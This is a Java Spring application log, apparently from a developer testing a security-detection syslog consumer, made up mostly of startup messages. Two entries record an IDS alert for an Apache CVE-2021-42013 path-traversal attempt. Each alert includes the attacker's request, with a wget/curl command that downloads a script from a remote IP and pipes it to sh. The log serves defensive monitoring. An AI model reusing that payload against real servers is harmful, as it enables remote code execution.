2026-05-19 12:38:15.208 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:38:15.211 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] WARN o.a.k.c.consumer.internals.Fetcher - [Consumer clientId=consumer-agent-syslog-group-1, groupId=agent-syslog-group] Received unknown topic or partition error in fetch for partition agent-syslog-topic-0
|
||||
2026-05-19 12:40:49.569 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 30764 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-19 12:40:49.570 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-19 12:40:49.574 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-19 12:40:51.867 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-19 12:40:51.869 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-19 12:40:52.332 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 458 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-19 12:40:52.338 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-19 12:40:52.338 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-19 12:40:52.444 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-19 12:40:52.444 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 105 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-19 12:40:52.456 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-19 12:40:52.457 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-19 12:40:52.573 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-19 12:40:52.573 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 107 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-19 12:40:53.277 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-19 12:40:53.285 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-19 12:40:53.286 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-19 12:40:53.286 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-19 12:40:53.472 [main] INFO o.a.c.c.C.[.[localhost].[/xdrrule] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-19 12:40:53.472 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 3810 ms
|
||||
2026-05-19 12:40:53.520 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-19 12:40:56.662 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-19 12:40:57.019 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-19 12:40:57.028 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-19 12:40:57.044 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-19 12:40:57.047 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-19 12:40:57.093 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-19 12:41:02.982 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-19 12:41:03.688 [main] INFO com.common.util.MyBatisUtil - MyBatis 初始化成功
|
||||
2026-05-19 12:41:04.562 [main] INFO org.quartz.impl.StdSchedulerFactory - Using default implementation for ThreadExecutor
|
||||
2026-05-19 12:41:04.574 [main] INFO o.quartz.core.SchedulerSignalerImpl - Initialized Scheduler Signaller of type: class org.quartz.core.SchedulerSignalerImpl
|
||||
2026-05-19 12:41:04.574 [main] INFO org.quartz.core.QuartzScheduler - Quartz Scheduler v.2.3.2 created.
|
||||
2026-05-19 12:41:04.575 [main] INFO org.quartz.simpl.RAMJobStore - RAMJobStore initialized.
|
||||
2026-05-19 12:41:04.576 [main] INFO org.quartz.core.QuartzScheduler - Scheduler meta-data: Quartz Scheduler (v2.3.2) 'quartzScheduler' with instanceId 'NON_CLUSTERED'
|
||||
Scheduler class: 'org.quartz.core.QuartzScheduler' - running locally.
|
||||
NOT STARTED.
|
||||
Currently in standby mode.
|
||||
Number of jobs executed: 0
|
||||
Using thread pool 'org.quartz.simpl.SimpleThreadPool' - with 10 threads.
|
||||
Using job-store 'org.quartz.simpl.RAMJobStore' - which does not support persistence. and is not clustered.
|
||||
|
||||
2026-05-19 12:41:04.576 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler 'quartzScheduler' initialized from an externally provided properties instance.
|
||||
2026-05-19 12:41:04.576 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler version: 2.3.2
|
||||
2026-05-19 12:41:04.576 [main] INFO org.quartz.core.QuartzScheduler - JobFactory set to: org.springframework.scheduling.quartz.SpringBeanJobFactory@22726bc7
|
||||
2026-05-19 12:41:04.790 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-19 12:41:04.790 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-19 12:41:04.790 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779165664788
|
||||
2026-05-19 12:41:04.811 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-19 12:41:04.812 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-19 12:41:04.812 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779165664811
|
||||
2026-05-19 12:41:04.814 [main] INFO o.a.coyote.http11.Http11NioProtocol - Starting ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-19 12:41:04.831 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat started on port(s): 8289 (http) with context path '/xdrrule'
|
||||
2026-05-19 12:41:04.833 [main] INFO o.s.s.quartz.SchedulerFactoryBean - Starting Quartz Scheduler now
|
||||
2026-05-19 12:41:04.834 [main] INFO org.quartz.core.QuartzScheduler - Scheduler quartzScheduler_$_NON_CLUSTERED started.
|
||||
2026-05-19 12:41:04.848 [main] INFO com.syslogRuleApplication - Started syslogRuleApplication in 15.717 seconds (JVM running for 19.644)
|
||||
2026-05-19 12:41:05.211 [org.springframework.kafka.KafkaListenerEndpointContainer#0-1-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - agent-syslog-group: partitions assigned: []
|
||||
2026-05-19 12:41:05.255 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - agent-syslog-group: partitions assigned: [agent-syslog-topic-0]
|
||||
2026-05-19 12:49:22.611 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] INFO c.Modules.NormalData.SysLogProcessor - 开始处理批次消息,数量: 1
|
||||
2026-05-19 12:49:23.521 [log-processor-1] INFO c.Modules.NormalData.SysLogProcessor - 收到syslogmessage:[receive_time=20260519124920569 device_id=103 device_name=公司开发内部测试探针 vendor=null data_type=json device_collect_id=1]<128>May 02 20:05:46 2026 {"sendHostAddress":"192.168.101.251", "deviceAssetSubTypeId":"59", "machineCode":"000d484ba79b", "interfaceName":"eth2", "transProtocol":"TCP", "appProtocol":"http", "logSessionId":"2605022005460345601", "srcAddress":"192.168.101.1", "srcPort":"41614", "srcMacAddress":"90-F1-B0-FA-CD-2A", "destMacAddress":"FA-16-C0-A8-65-AD", "destAddress":"192.168.101.173", "destPort":"80", "vlanId":"0", "vxlanId":"0", "productVendorName":"????", "deviceAddress":"192.168.101.251", "eventCount":"1", "deviceSendProductName":"????APT??????????????????", "deviceProductType":"????????", "deviceName":"devicename", "deviceId":"0", "deviceVersion":"2.0.79.89080.260305_ruletag_2.0.31216.260424.1", "srcGeoCountry":"?й?", "srcGeoRegion":"???", "srcGeoCity":"???", "srcGeoLongitude":"114.156924", "srcGeoLatitude":"22.340151", "destGeoCountry":"?й?", "destGeoRegion":"???", "destGeoCity":"???", "destGeoLongitude":"114.156924", "destGeoLatitude":"22.340151", "direction":"11", "attackerAddress":"srcAddress", "victimAddress":"destAddress", "attackDirection":"1", "attacker":["192.168.101.1"], "victim":["192.168.101.173"], "srcSecurityZone":"outer", "destSecurityZone":"outer", "logType":"alert", "dataType":"ids", "dataSubType":"attackAlert", "deviceCat":"/IDS/Network", "catObject":"/Host/Application/Service", "catBehavior":"/Access", "catOutcome":"FAIL", "catTechnique":"/Exploit/DirectoryTraversal", "severity":"5", "catSignificance":"/Informational/Warning", "eventId":"2605022005460000360199631657902", "startTime":"2026-05-02 20:05:46", "endTime":"2026-05-02 20:05:46", "deviceReceiptTime":"2026-05-02 20:05:46", "collectorReceiptTime":"2026-05-02 20:05:46", "ruleId":"93008265", "ruleName":"Apache HTTP Server 2.4.49 ·???????? (CVE-2021-42013)", "alarmType":"WEB????->·??????", "ruleType":"/WebAttack/DirTraversal", "requestMethod":"POST", "requestUrlQuery":"/cgi-bin/../../../../../../../bin/sh", "requestUrl":"/cgi-bin/../../../../../../../bin/sh", "requestHeader":"POST /cgi-bin/../../../../../../../bin/sh HTTP/1.1<br/>Host: 43.255.55.45:80<br/>Upgrade-Insecure-Requests: 1<br/>Accept: */*<br/>User-Agent: libredtail-http<br/>Connection: keep-alive<br/>Content-Type: text/plain<br/>Content-Length: 123<br/>", "requestBody":"(wget --no-check-certificate -qO- https://125.135.169.171/sh || curl -sk https://125.135.169.171/sh) | sh -s apache.selfrep", "responseHeader":"HTTP/1.1 400 Bad Request<br/>Content-Type: text/html; charset=us-ascii<br/>Server: Microsoft-HTTPAPI/2.0<br/>Date: Sat, 02 May 2026 12:05:45 GMT<br/>Connection: close<br/>Content-Length: 324<br/>", "responseMsg":"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\"><br/><HTML><HEAD><TITLE>Bad Request</TITLE><br/><META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=us-ascii\"></HEAD><br/><BODY><h2>Bad Request - Invalid URL</h2><br/><hr><p>HTTP Error 400. The request URL is invalid.</p><br/></BODY></HTML><br/>", "responseCode":"400", "destHostName":"43.255.55.45:80", "name":"Apache HTTP Server 2.4.49 ·???????? (CVE-2021-42013)", "cve":"CVE-2021-42013", "txId":"0", "confidence":"High", "httpVersion":"HTTP/1.1", "accessAgent":"libredtail-http", "attackStage":"1", "attackStatus":"3", "pcapRecord":"true", "tacticId":"TA0001", "techniquesId":"T1190", "isAPT":"false", "killChain":"KC_Exploitation", "message":"Apache HTTP Server 2.4.49 ·???????? (CVE-2021-42013). ?????192.168.101.1/41614, ????192.168.101.173/80"}
|
||||
2026-05-19 12:49:28.534 [log-processor-1] INFO com.zaxxer.hikari.HikariDataSource - HikariPool-SyslogConsumer-rule - Starting...
|
||||
2026-05-19 12:49:29.193 [log-processor-1] INFO com.zaxxer.hikari.HikariDataSource - HikariPool-SyslogConsumer-rule - Start completed.
|
||||
2026-05-19 12:49:29.660 [log-processor-1] WARN c.c.service.LogDataFilterService - 泛化规则-数据过滤规则为空,默认不处理!
|
||||
2026-05-19 12:49:30.119 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] INFO c.Modules.NormalData.SysLogProcessor - 批次处理完成,总数: 1
|
||||
2026-05-19 12:53:33.743 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-19 12:53:33.741 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 32804 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-19 12:53:33.746 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-19 12:53:36.246 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-19 12:53:36.249 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-19 12:53:36.820 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 565 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-19 12:53:36.826 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-19 12:53:36.827 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-19 12:53:36.940 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-19 12:53:36.940 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 113 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-19 12:53:36.952 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-19 12:53:36.953 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-19 12:53:37.082 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-19 12:53:37.082 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 120 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-19 12:53:37.856 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-19 12:53:37.865 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-19 12:53:37.866 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-19 12:53:37.867 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-19 12:53:38.072 [main] INFO o.a.c.c.C.[.[localhost].[/xdrrule] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-19 12:53:38.072 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 4241 ms
|
||||
2026-05-19 12:53:38.131 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-19 12:53:42.124 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-19 12:53:42.604 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-19 12:53:42.616 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-19 12:53:42.633 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-19 12:53:42.637 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-19 12:53:42.691 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-19 12:53:50.667 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-19 12:53:51.641 [main] INFO com.common.util.MyBatisUtil - MyBatis 初始化成功
|
||||
2026-05-19 12:53:52.684 [main] INFO org.quartz.impl.StdSchedulerFactory - Using default implementation for ThreadExecutor
|
||||
2026-05-19 12:53:52.702 [main] INFO o.quartz.core.SchedulerSignalerImpl - Initialized Scheduler Signaller of type: class org.quartz.core.SchedulerSignalerImpl
|
||||
2026-05-19 12:53:52.702 [main] INFO org.quartz.core.QuartzScheduler - Quartz Scheduler v.2.3.2 created.
|
||||
2026-05-19 12:53:52.704 [main] INFO org.quartz.simpl.RAMJobStore - RAMJobStore initialized.
|
||||
2026-05-19 12:53:52.705 [main] INFO org.quartz.core.QuartzScheduler - Scheduler meta-data: Quartz Scheduler (v2.3.2) 'quartzScheduler' with instanceId 'NON_CLUSTERED'
|
||||
Scheduler class: 'org.quartz.core.QuartzScheduler' - running locally.
|
||||
NOT STARTED.
|
||||
Currently in standby mode.
|
||||
Number of jobs executed: 0
|
||||
Using thread pool 'org.quartz.simpl.SimpleThreadPool' - with 10 threads.
|
||||
Using job-store 'org.quartz.simpl.RAMJobStore' - which does not support persistence. and is not clustered.
|
||||
|
||||
2026-05-19 12:53:52.705 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler 'quartzScheduler' initialized from an externally provided properties instance.
|
||||
2026-05-19 12:53:52.705 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler version: 2.3.2
|
||||
2026-05-19 12:53:52.705 [main] INFO org.quartz.core.QuartzScheduler - JobFactory set to: org.springframework.scheduling.quartz.SpringBeanJobFactory@3b68a50c
|
||||
2026-05-19 12:53:53.059 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-19 12:53:53.059 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-19 12:53:53.059 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779166433056
|
||||
2026-05-19 12:53:53.086 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-19 12:53:53.086 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-19 12:53:53.087 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779166433086
|
||||
2026-05-19 12:53:53.089 [main] INFO o.a.coyote.http11.Http11NioProtocol - Starting ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-19 12:53:53.108 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat started on port(s): 8289 (http) with context path '/xdrrule'
|
||||
2026-05-19 12:53:53.110 [main] INFO o.s.s.quartz.SchedulerFactoryBean - Starting Quartz Scheduler now
|
||||
2026-05-19 12:53:53.110 [main] INFO org.quartz.core.QuartzScheduler - Scheduler quartzScheduler_$_NON_CLUSTERED started.
|
||||
2026-05-19 12:53:53.129 [main] INFO com.syslogRuleApplication - Started syslogRuleApplication in 19.974 seconds (JVM running for 26.357)
|
||||
2026-05-19 12:53:53.549 [org.springframework.kafka.KafkaListenerEndpointContainer#0-1-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - agent-syslog-group: partitions assigned: []
|
||||
2026-05-19 12:53:53.570 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - agent-syslog-group: partitions assigned: [agent-syslog-topic-0]
|
||||
2026-05-19 13:00:27.858 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] INFO c.Modules.NormalData.SysLogProcessor - 开始处理批次消息,数量: 1
|
||||
2026-05-19 13:00:28.956 [log-processor-1] INFO c.Modules.NormalData.SysLogProcessor - 收到syslogmessage:[receive_time=20260519130026107 device_id=103 device_name=公司开发内部测试探针 vendor=null data_type=json device_collect_id=1]<128>May 02 20:05:46 2026 {"sendHostAddress":"192.168.101.251", "deviceAssetSubTypeId":"59", "machineCode":"000d484ba79b", "interfaceName":"eth2", "transProtocol":"TCP", "appProtocol":"http", "logSessionId":"2605022005460345601", "srcAddress":"192.168.101.1", "srcPort":"41614", "srcMacAddress":"90-F1-B0-FA-CD-2A", "destMacAddress":"FA-16-C0-A8-65-AD", "destAddress":"192.168.101.173", "destPort":"80", "vlanId":"0", "vxlanId":"0", "productVendorName":"????", "deviceAddress":"192.168.101.251", "eventCount":"1", "deviceSendProductName":"????APT??????????????????", "deviceProductType":"????????", "deviceName":"devicename", "deviceId":"0", "deviceVersion":"2.0.79.89080.260305_ruletag_2.0.31216.260424.1", "srcGeoCountry":"?й?", "srcGeoRegion":"???", "srcGeoCity":"???", "srcGeoLongitude":"114.156924", "srcGeoLatitude":"22.340151", "destGeoCountry":"?й?", "destGeoRegion":"???", "destGeoCity":"???", "destGeoLongitude":"114.156924", "destGeoLatitude":"22.340151", "direction":"11", "attackerAddress":"srcAddress", "victimAddress":"destAddress", "attackDirection":"1", "attacker":["192.168.101.1"], "victim":["192.168.101.173"], "srcSecurityZone":"outer", "destSecurityZone":"outer", "logType":"alert", "dataType":"ids", "dataSubType":"attackAlert", "deviceCat":"/IDS/Network", "catObject":"/Host/Application/Service", "catBehavior":"/Access", "catOutcome":"FAIL", "catTechnique":"/Exploit/DirectoryTraversal", "severity":"5", "catSignificance":"/Informational/Warning", "eventId":"2605022005460000360199631657902", "startTime":"2026-05-02 20:05:46", "endTime":"2026-05-02 20:05:46", "deviceReceiptTime":"2026-05-02 20:05:46", "collectorReceiptTime":"2026-05-02 20:05:46", "ruleId":"93008265", "ruleName":"Apache HTTP Server 2.4.49 ·???????? (CVE-2021-42013)", "alarmType":"WEB????->·??????", "ruleType":"/WebAttack/DirTraversal", "requestMethod":"POST", "requestUrlQuery":"/cgi-bin/../../../../../../../bin/sh", "requestUrl":"/cgi-bin/../../../../../../../bin/sh", "requestHeader":"POST /cgi-bin/../../../../../../../bin/sh HTTP/1.1<br/>Host: 43.255.55.45:80<br/>Upgrade-Insecure-Requests: 1<br/>Accept: */*<br/>User-Agent: libredtail-http<br/>Connection: keep-alive<br/>Content-Type: text/plain<br/>Content-Length: 123<br/>", "requestBody":"(wget --no-check-certificate -qO- https://125.135.169.171/sh || curl -sk https://125.135.169.171/sh) | sh -s apache.selfrep", "responseHeader":"HTTP/1.1 400 Bad Request<br/>Content-Type: text/html; charset=us-ascii<br/>Server: Microsoft-HTTPAPI/2.0<br/>Date: Sat, 02 May 2026 12:05:45 GMT<br/>Connection: close<br/>Content-Length: 324<br/>", "responseMsg":"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\"><br/><HTML><HEAD><TITLE>Bad Request</TITLE><br/><META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=us-ascii\"></HEAD><br/><BODY><h2>Bad Request - Invalid URL</h2><br/><hr><p>HTTP Error 400. The request URL is invalid.</p><br/></BODY></HTML><br/>", "responseCode":"400", "destHostName":"43.255.55.45:80", "name":"Apache HTTP Server 2.4.49 ·???????? (CVE-2021-42013)", "cve":"CVE-2021-42013", "txId":"0", "confidence":"High", "httpVersion":"HTTP/1.1", "accessAgent":"libredtail-http", "attackStage":"1", "attackStatus":"3", "pcapRecord":"true", "tacticId":"TA0001", "techniquesId":"T1190", "isAPT":"false", "killChain":"KC_Exploitation", "message":"Apache HTTP Server 2.4.49 ·???????? (CVE-2021-42013). ?????192.168.101.1/41614, ????192.168.101.173/80"}
|
||||
2026-05-19 13:00:35.554 [log-processor-1] WARN c.c.service.LogDataFilterService - 泛化规则-数据过滤规则为空,默认不处理!
|
||||
2026-05-19 13:00:35.629 [log-processor-1] INFO com.zaxxer.hikari.HikariDataSource - HikariPool-SyslogConsumer-rule - Starting...
|
||||
2026-05-19 13:00:36.294 [log-processor-1] INFO com.zaxxer.hikari.HikariDataSource - HikariPool-SyslogConsumer-rule - Start completed.
|
||||
2026-05-19 13:00:36.641 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] INFO c.Modules.NormalData.SysLogProcessor - 批次处理完成,总数: 1
|
||||
@@ -0,0 +1,324 @@
|
||||
2026-05-18 15:03:25.190 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 20216 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-18 15:03:25.192 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 15:03:25.195 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 15:03:28.179 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:03:28.183 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:03:28.775 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 587 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 15:03:28.784 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:03:28.785 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:03:28.956 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
